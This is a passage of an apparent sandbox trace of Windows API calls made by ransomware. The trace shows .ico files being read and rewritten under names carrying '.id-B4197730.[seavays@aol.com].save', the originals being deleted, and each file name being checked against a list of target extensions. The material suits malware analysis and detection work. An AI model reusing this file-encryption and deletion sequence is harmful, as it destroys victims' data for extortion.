(lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.134] lstrlenW (lpString=".doc") returned 4 [0052.134] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.134] lstrlenW (lpString=".docx") returned 5 [0052.134] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0052.134] lstrlenW (lpString=".pdf") returned 4 [0052.134] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.134] lstrlenW (lpString=".xls") returned 4 [0052.134] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.134] lstrlenW (lpString=".xlsx") returned 5 [0052.134] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0052.134] lstrlenW (lpString=".ppt") returned 4 [0052.134] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.134] lstrlenW (lpString=".zip") returned 4 [0052.134] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.134] lstrlenW (lpString=".rar") returned 4 [0052.134] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.134] lstrlenW (lpString=".bz2") returned 4 [0052.134] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.134] lstrlenW (lpString=".7z") returned 3 [0052.134] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.134] lstrlenW (lpString=".dbf") returned 4 [0052.134] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.134] lstrlenW (lpString=".1cd") returned 4 [0052.135] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0052.135] lstrlenW (lpString=".jpg") returned 4 [0052.135] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.135] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.135] lstrlenW (lpString="Rotate3.ico") returned 11 [0052.135] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.135] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=894) returned 1 [0052.135] CloseHandle (hObject=0x2fc) returned 1 [0052.135] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0052.135] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.135] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.135] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.135] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.136] GetLastError () returned 0x0 [0052.136] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x37e, lpOverlapped=0x0) returned 1 [0052.137] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x380, lpOverlapped=0x0) returned 1 [0052.138] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.138] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1 [0052.138] SetEndOfFile (hFile=0x31c) returned 1 [0052.138] CloseHandle (hObject=0x31c) returned 1 [0052.139] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.139] SetEndOfFile (hFile=0x2fc) returned 1 [0052.140] CloseHandle (hObject=0x2fc) returned 1 [0052.140] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.140] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0052.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.140] lstrlenW (lpString=".doc") returned 4 [0052.140] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.141] lstrlenW (lpString=".docx") returned 5 [0052.141] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0052.141] lstrlenW (lpString=".pdf") returned 4 [0052.141] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.141] lstrlenW (lpString=".xls") returned 4 [0052.141] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.141] lstrlenW (lpString=".xlsx") returned 5 [0052.141] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0052.141] lstrlenW (lpString=".ppt") returned 4 [0052.141] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.141] lstrlenW (lpString=".zip") returned 4 [0052.141] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.141] lstrlenW (lpString=".rar") returned 4 [0052.141] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.141] lstrlenW (lpString=".bz2") returned 4 [0052.141] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.141] lstrlenW (lpString=".7z") returned 3 [0052.141] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.141] lstrlenW (lpString=".dbf") returned 4 [0052.141] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.141] lstrlenW (lpString=".1cd") returned 4 [0052.141] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.141] lstrlenW (lpString=".jpg") returned 4 [0052.141] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.141] lstrlenW (lpString=".doc") returned 4 [0052.141] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.141] lstrlenW (lpString=".docx") returned 5 [0052.142] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0052.142] lstrlenW (lpString=".pdf") returned 4 [0052.142] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.142] lstrlenW (lpString=".xls") returned 4 [0052.142] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.142] lstrlenW (lpString=".xlsx") returned 5 [0052.142] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0052.142] lstrlenW (lpString=".ppt") returned 4 [0052.142] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.142] lstrlenW (lpString=".zip") returned 4 [0052.142] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.142] lstrlenW (lpString=".rar") returned 4 [0052.142] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.142] lstrlenW (lpString=".bz2") returned 4 [0052.142] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.142] lstrlenW (lpString=".7z") returned 3 [0052.142] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.142] lstrlenW (lpString=".dbf") returned 4 [0052.142] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.142] lstrlenW (lpString=".1cd") returned 4 [0052.142] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0052.142] lstrlenW (lpString=".jpg") returned 4 [0052.142] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.142] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.142] lstrlenW (lpString="Rotate4.ico") returned 11 [0052.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.143] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=894) returned 1 [0052.143] CloseHandle (hObject=0x2fc) returned 1 [0052.148] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0052.148] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.148] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.148] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.148] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.149] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.149] GetLastError () returned 0x0 [0052.149] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x37e, lpOverlapped=0x0) returned 1 [0052.150] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x380, lpOverlapped=0x0) returned 1 [0052.151] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.151] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1 [0052.151] SetEndOfFile (hFile=0x31c) returned 1 [0052.152] CloseHandle (hObject=0x31c) returned 1 [0052.152] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.152] SetEndOfFile (hFile=0x2fc) returned 1 [0052.153] CloseHandle (hObject=0x2fc) returned 1 [0052.153] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.153] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0052.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.154] lstrlenW (lpString=".doc") returned 4 [0052.154] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.154] lstrlenW (lpString=".docx") returned 5 [0052.154] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0052.154] lstrlenW (lpString=".pdf") returned 4 [0052.154] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.154] lstrlenW (lpString=".xls") returned 4 [0052.154] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.154] lstrlenW (lpString=".xlsx") returned 5 [0052.154] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0052.154] lstrlenW (lpString=".ppt") returned 4 [0052.154] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.154] lstrlenW (lpString=".zip") returned 4 [0052.154] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.154] lstrlenW (lpString=".rar") returned 4 [0052.154] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.154] lstrlenW (lpString=".bz2") returned 4 [0052.154] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.154] lstrlenW (lpString=".7z") returned 3 [0052.154] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.154] lstrlenW (lpString=".dbf") returned 4 [0052.154] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.154] lstrlenW (lpString=".1cd") returned 4 [0052.154] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.155] lstrlenW (lpString=".jpg") returned 4 [0052.155] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.155] lstrlenW (lpString=".doc") returned 4 [0052.155] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.155] lstrlenW (lpString=".docx") returned 5 [0052.155] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0052.155] lstrlenW (lpString=".pdf") returned 4 [0052.155] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.155] lstrlenW (lpString=".xls") returned 4 [0052.155] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.155] lstrlenW (lpString=".xlsx") returned 5 [0052.155] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0052.155] lstrlenW (lpString=".ppt") returned 4 [0052.155] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.155] lstrlenW (lpString=".zip") returned 4 [0052.155] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.155] lstrlenW (lpString=".rar") returned 4 [0052.155] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.155] lstrlenW (lpString=".bz2") returned 4 [0052.155] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.155] lstrlenW (lpString=".7z") returned 3 [0052.155] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.155] lstrlenW (lpString=".dbf") returned 4 [0052.155] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.155] lstrlenW (lpString=".1cd") returned 4 [0052.155] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0052.156] lstrlenW (lpString=".jpg") returned 4 [0052.156] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.156] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.156] lstrlenW (lpString="Rotate5.ico") returned 11 [0052.156] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.156] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=894) returned 1 [0052.156] CloseHandle (hObject=0x2fc) returned 1 [0052.156] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0052.156] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.156] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.156] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.156] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.156] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.157] GetLastError () returned 0x0 [0052.157] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x37e, lpOverlapped=0x0) returned 1 [0052.646] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x380, lpOverlapped=0x0) returned 1 [0052.647] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.647] WriteFile (in: hFile=0x31c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1 [0052.647] SetEndOfFile (hFile=0x31c) returned 1 [0052.647] CloseHandle (hObject=0x31c) returned 1 [0052.648] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.648] SetEndOfFile (hFile=0x2fc) returned 1 [0052.649] CloseHandle (hObject=0x2fc) returned 1 [0052.649] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.650] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0052.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.650] lstrlenW (lpString=".doc") returned 4 [0052.650] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.650] lstrlenW (lpString=".docx") returned 5 [0052.650] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0052.650] lstrlenW (lpString=".pdf") returned 4 [0052.650] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.650] lstrlenW (lpString=".xls") returned 4 [0052.650] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.650] lstrlenW (lpString=".xlsx") returned 5 [0052.650] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0052.650] lstrlenW (lpString=".ppt") returned 4 [0052.650] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.650] lstrlenW (lpString=".zip") returned 4 [0052.650] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.650] lstrlenW (lpString=".rar") returned 4 [0052.650] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.650] lstrlenW (lpString=".bz2") returned 4 [0052.650] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.650] lstrlenW (lpString=".7z") returned 3 [0052.650] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.651] lstrlenW (lpString=".dbf") returned 4 [0052.651] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.651] lstrlenW (lpString=".1cd") returned 4 [0052.651] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.651] lstrlenW (lpString=".jpg") returned 4 [0052.651] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.651] lstrlenW (lpString=".doc") returned 4 [0052.651] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.651] lstrlenW (lpString=".docx") returned 5 [0052.651] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0052.651] lstrlenW (lpString=".pdf") returned 4 [0052.651] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.651] lstrlenW (lpString=".xls") returned 4 [0052.651] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.651] lstrlenW (lpString=".xlsx") returned 5 [0052.651] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0052.651] lstrlenW (lpString=".ppt") returned 4 [0052.651] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.651] lstrlenW (lpString=".zip") returned 4 [0052.651] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.651] lstrlenW (lpString=".rar") returned 4 [0052.651] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.651] lstrlenW (lpString=".bz2") returned 4 [0052.651] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.651] lstrlenW (lpString=".7z") returned 3 [0052.651] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.651] lstrlenW (lpString=".dbf") returned 4 [0052.652] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.652] lstrlenW (lpString=".1cd") returned 4 [0052.652] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0052.652] lstrlenW (lpString=".jpg") returned 4 [0052.652] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.652] lstrcmpiW (lpString1=".msi", lpString2=".save") returned -1 [0052.652] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0052.652] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.653] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1901056) returned 1 [0052.653] CloseHandle (hObject=0x2fc) returned 1 [0052.653] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: 